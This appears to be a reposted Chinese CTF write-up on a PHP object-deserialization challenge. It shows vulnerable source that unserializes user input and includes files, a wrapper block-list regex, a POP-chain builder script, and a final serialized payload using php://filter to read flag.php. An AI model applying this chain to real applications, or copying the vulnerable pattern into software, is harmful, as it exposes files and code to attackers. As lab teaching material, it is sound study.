題目
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
打開網站直接可以看到這段代碼,然后可以看到有幾個比較明顯的魔法函式
知識點
__invoke():當嘗試以呼叫函式的方式呼叫一個物件時,__invoke() 方法會被自動呼叫,
__construct():具有建構式的類會在每次創建新物件時先呼叫此方法.
__toString():用于一個類被當成字串時應怎樣回應,例如
echo $obj;應該顯示些什么,此方法必須回傳一個字串,否則將發出一條E_RECOVERABLE_ERROR級別的致命錯誤,__get():讀取不可訪問屬性的值時,__get() 會被呼叫,
__wakeup():unserialize() 會檢查是否存在一個 __wakeup() 方法,如果存在,則會先呼叫
__wakeup方法,預先準備物件需要的資源,
解題思路
我們的目的是借用append()進行檔案包含,
通過pop變數進行傳參,對傳參內容進行反序列化,反序列化可以想到觸發__wakeup(),在__wakeup()中可以看到preg_match()中把this_source當成了字串來對比,想辦法觸發__toString()然后this->str->source并不存在可以想到觸發__get方法,__get()將類Modifier類當作函式呼叫會觸發append(),構造pop鏈,
php腳本如下:
<?php
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
}
public function __toString(){
return " ";
}
}
class Test{
public $p;
}
$a = new Show('jh');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));
最后的payload:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A2%3A%22jh%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
內容借鑒
https://www.php.net/manual/zh/language.oop5.magic.php
https://blog.csdn.net/StevenOnesir/article/details/111997573
https://blog.csdn.net/qq_37589805/article/details/116535925
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/290795.html
標籤:其他
下一篇:redis學習雜記
